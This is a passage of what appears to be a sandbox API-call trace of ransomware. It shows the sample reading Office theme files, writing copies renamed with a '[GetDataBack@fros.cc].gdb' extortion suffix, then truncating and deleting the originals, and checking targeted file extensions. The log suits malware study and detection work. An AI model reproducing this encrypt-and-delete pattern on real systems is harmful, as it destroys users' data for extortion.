Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0123.306] lstrlenW (lpString=".1cd") returned 4 [0123.306] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0123.306] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0123.307] lstrlenW (lpString=".jpg") returned 4 [0123.307] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0123.307] lstrcmpiW (lpString1=".GIF", lpString2=".gdb") returned 1 [0123.307] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0123.307] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0123.307] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x204fd44 | out: lpFileSize=0x204fd44*=1925) returned 1 [0123.307] CloseHandle (hObject=0x198) returned 1 [0123.307] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\preview.gif")) returned 0x20 [0123.307] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\preview.gif.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0123.307] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0123.308] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0123.308] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0123.308] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\preview.gif.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0123.310] GetLastError () returned 0x0 [0123.310] ReadFile (in: hFile=0x198, lpBuffer=0x3180020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x204fcfc, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesRead=0x204fcfc*=0x785, lpOverlapped=0x0) returned 1 [0123.311] WriteFile (in: hFile=0x200, lpBuffer=0x3180020*, nNumberOfBytesToWrite=0x790, lpNumberOfBytesWritten=0x204fac4, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesWritten=0x204fac4*=0x790, lpOverlapped=0x0) returned 1 [0123.312] ReadFile (in: hFile=0x198, lpBuffer=0x3180020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x204fcfc, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesRead=0x204fcfc*=0x0, lpOverlapped=0x0) returned 1 [0123.312] WriteFile (in: hFile=0x200, lpBuffer=0x3180020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x204fac4, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesWritten=0x204fac4*=0xea, lpOverlapped=0x0) returned 1 [0123.312] SetEndOfFile (hFile=0x200) returned 1 [0123.312] CloseHandle (hObject=0x200) returned 1 [0123.313] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0123.313] SetEndOfFile (hFile=0x198) returned 1 [0123.314] CloseHandle (hObject=0x198) returned 1 [0123.314] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0123.314] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\preview.gif")) returned 1 [0123.314] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76 [0123.314] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76 [0123.314] lstrlenW (lpString=".doc") returned 4 [0123.314] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0123.314] lstrlenW (lpString=".docx") returned 5 [0123.314] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0123.314] lstrlenW (lpString=".pdf") returned 4 [0123.314] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0123.314] lstrlenW (lpString=".xls") returned 4 [0123.315] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0123.315] lstrlenW (lpString=".xlsx") returned 5 [0123.315] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0123.315] lstrlenW (lpString=".ppt") returned 4 [0123.315] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0123.315] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76 [0123.315] lstrlenW (lpString=".zip") returned 4 [0123.315] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0123.315] lstrlenW (lpString=".rar") returned 4 [0123.315] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0123.315] lstrlenW (lpString=".bz2") returned 4 [0123.315] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0123.315] lstrlenW (lpString=".7z") returned 3 [0123.315] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0123.315] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76 [0123.315] lstrlenW (lpString=".dbf") returned 4 [0123.315] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0123.315] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76 [0123.315] lstrlenW (lpString=".1cd") returned 4 [0123.315] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0123.315] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76 [0123.315] lstrlenW (lpString=".jpg") returned 4 [0123.315] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0123.315] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76 [0123.315] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76 [0123.315] lstrlenW (lpString=".doc") returned 4 [0123.315] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0123.315] lstrlenW (lpString=".docx") returned 5 [0123.315] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0123.315] lstrlenW (lpString=".pdf") returned 4 [0123.315] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0123.315] lstrlenW (lpString=".xls") returned 4 [0123.315] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0123.315] lstrlenW (lpString=".xlsx") returned 5 [0123.316] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0123.316] lstrlenW (lpString=".ppt") returned 4 [0123.316] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0123.316] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76 [0123.316] lstrlenW (lpString=".zip") returned 4 [0123.316] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0123.316] lstrlenW (lpString=".rar") returned 4 [0123.316] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0123.316] lstrlenW (lpString=".bz2") returned 4 [0123.316] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0123.316] lstrlenW (lpString=".7z") returned 3 [0123.316] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0123.316] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76 [0123.316] lstrlenW (lpString=".dbf") returned 4 [0123.316] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0123.316] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76 [0123.316] lstrlenW (lpString=".1cd") returned 4 [0123.316] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0123.316] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76 [0123.316] lstrlenW (lpString=".jpg") returned 4 [0123.316] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0123.316] lstrcmpiW (lpString1=".PNG", lpString2=".gdb") returned 1 [0123.316] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0123.316] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0123.317] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x204fd44 | out: lpFileSize=0x204fd44*=27407) returned 1 [0123.317] CloseHandle (hObject=0x198) returned 1 [0123.318] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\thmbnail.png")) returned 0x20 [0123.318] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\thmbnail.png.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0123.318] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0123.318] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0123.318] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0123.318] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\thmbnail.png.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0123.318] GetLastError () returned 0x0 [0123.318] ReadFile (in: hFile=0x198, lpBuffer=0x3180020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x204fcfc, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesRead=0x204fcfc*=0x6b0f, lpOverlapped=0x0) returned 1 [0123.320] WriteFile (in: hFile=0x200, lpBuffer=0x3180020*, nNumberOfBytesToWrite=0x6b10, lpNumberOfBytesWritten=0x204fac4, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesWritten=0x204fac4*=0x6b10, lpOverlapped=0x0) returned 1 [0123.322] ReadFile (in: hFile=0x198, lpBuffer=0x3180020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x204fcfc, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesRead=0x204fcfc*=0x0, lpOverlapped=0x0) returned 1 [0123.322] WriteFile (in: hFile=0x200, lpBuffer=0x3180020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x204fac4, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesWritten=0x204fac4*=0xec, lpOverlapped=0x0) returned 1 [0123.322] SetEndOfFile (hFile=0x200) returned 1 [0123.322] CloseHandle (hObject=0x200) returned 1 [0123.323] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0123.323] SetEndOfFile (hFile=0x198) returned 1 [0123.324] CloseHandle (hObject=0x198) returned 1 [0123.324] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0123.325] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\thmbnail.png")) returned 1 [0123.325] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77 [0123.325] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77 [0123.325] lstrlenW (lpString=".doc") returned 4 [0123.325] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0123.325] lstrlenW (lpString=".docx") returned 5 [0123.325] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0123.325] lstrlenW (lpString=".pdf") returned 4 [0123.325] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0123.325] lstrlenW (lpString=".xls") returned 4 [0123.325] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0123.325] lstrlenW (lpString=".xlsx") returned 5 [0123.325] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0123.325] lstrlenW (lpString=".ppt") returned 4 [0123.325] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0123.325] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77 [0123.325] lstrlenW (lpString=".zip") returned 4 [0123.325] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0123.325] lstrlenW (lpString=".rar") returned 4 [0123.325] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0123.326] lstrlenW (lpString=".bz2") returned 4 [0123.326] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0123.326] lstrlenW (lpString=".7z") returned 3 [0123.326] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0123.326] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77 [0123.326] lstrlenW (lpString=".dbf") returned 4 [0123.326] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0123.326] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77 [0123.326] lstrlenW (lpString=".1cd") returned 4 [0123.326] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0123.326] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77 [0123.326] lstrlenW (lpString=".jpg") returned 4 [0123.326] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0123.326] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77 [0123.326] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77 [0123.326] lstrlenW (lpString=".doc") returned 4 [0123.326] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0123.326] lstrlenW (lpString=".docx") returned 5 [0123.326] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0123.326] lstrlenW (lpString=".pdf") returned 4 [0123.326] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0123.326] lstrlenW (lpString=".xls") returned 4 [0123.326] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0123.326] lstrlenW (lpString=".xlsx") returned 5 [0123.326] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0123.326] lstrlenW (lpString=".ppt") returned 4 [0123.326] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0123.326] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77 [0123.326] lstrlenW (lpString=".zip") returned 4 [0123.326] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0123.326] lstrlenW (lpString=".rar") returned 4 [0123.326] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0123.326] lstrlenW (lpString=".bz2") returned 4 [0123.326] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0123.326] lstrlenW (lpString=".7z") returned 3 [0123.326] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0123.326] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77 [0123.326] lstrlenW (lpString=".dbf") returned 4 [0123.327] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0123.327] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77 [0123.327] lstrlenW (lpString=".1cd") returned 4 [0123.327] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0123.327] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77 [0123.327] lstrlenW (lpString=".jpg") returned 4 [0123.327] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0123.327] lstrcmpiW (lpString1=".GIF", lpString2=".gdb") returned 1 [0123.327] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0123.327] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0123.327] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x204fd44 | out: lpFileSize=0x204fd44*=3479) returned 1 [0123.327] CloseHandle (hObject=0x198) returned 1 [0123.327] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\preview.gif")) returned 0x20 [0123.327] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\preview.gif.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0123.327] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0123.327] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0123.328] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0123.328] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\preview.gif.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x224 [0124.010] GetLastError () returned 0x0 [0124.010] ReadFile (in: hFile=0x198, lpBuffer=0x3180020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x204fcfc, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesRead=0x204fcfc*=0xd97, lpOverlapped=0x0) returned 1 [0124.012] WriteFile (in: hFile=0x224, lpBuffer=0x3180020*, nNumberOfBytesToWrite=0xda0, lpNumberOfBytesWritten=0x204fac4, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesWritten=0x204fac4*=0xda0, lpOverlapped=0x0) returned 1 [0124.013] ReadFile (in: hFile=0x198, lpBuffer=0x3180020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x204fcfc, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesRead=0x204fcfc*=0x0, lpOverlapped=0x0) returned 1 [0124.013] WriteFile (in: hFile=0x224, lpBuffer=0x3180020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x204fac4, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesWritten=0x204fac4*=0xea, lpOverlapped=0x0) returned 1 [0124.013] SetEndOfFile (hFile=0x224) returned 1 [0124.014] CloseHandle (hObject=0x224) returned 1 [0124.014] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0124.014] SetEndOfFile (hFile=0x198) returned 1 [0124.015] CloseHandle (hObject=0x198) returned 1 [0124.015] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0124.015] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\preview.gif")) returned 1 [0124.016] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76 [0124.016] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76 [0124.016] lstrlenW (lpString=".doc") returned 4 [0124.016] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0124.016] lstrlenW (lpString=".docx") returned 5 [0124.016] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0124.016] lstrlenW (lpString=".pdf") returned 4 [0124.016] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0124.016] lstrlenW (lpString=".xls") returned 4 [0124.016] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0124.016] lstrlenW (lpString=".xlsx") returned 5 [0124.016] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0124.016] lstrlenW (lpString=".ppt") returned 4 [0124.016] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0124.016] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76 [0124.016] lstrlenW (lpString=".zip") returned 4 [0124.016] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0124.016] lstrlenW (lpString=".rar") returned 4 [0124.016] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0124.016] lstrlenW (lpString=".bz2") returned 4 [0124.016] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0124.016] lstrlenW (lpString=".7z") returned 3 [0124.016] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0124.016] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76 [0124.016] lstrlenW (lpString=".dbf") returned 4 [0124.016] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0124.016] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76 [0124.016] lstrlenW (lpString=".1cd") returned 4 [0124.016] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0124.017] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76 [0124.017] lstrlenW (lpString=".jpg") returned 4 [0124.017] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0124.017] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76 [0124.017] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76 [0124.017] lstrlenW (lpString=".doc") returned 4 [0124.017] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0124.017] lstrlenW (lpString=".docx") returned 5 [0124.017] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0124.017] lstrlenW (lpString=".pdf") returned 4 [0124.017] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0124.017] lstrlenW (lpString=".xls") returned 4 [0124.017] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0124.017] lstrlenW (lpString=".xlsx") returned 5 [0124.017] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0124.017] lstrlenW (lpString=".ppt") returned 4 [0124.017] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0124.017] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76 [0124.017] lstrlenW (lpString=".zip") returned 4 [0124.017] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0124.017] lstrlenW (lpString=".rar") returned 4 [0124.017] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0124.017] lstrlenW (lpString=".bz2") returned 4 [0124.017] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0124.017] lstrlenW (lpString=".7z") returned 3 [0124.017] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0124.017] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 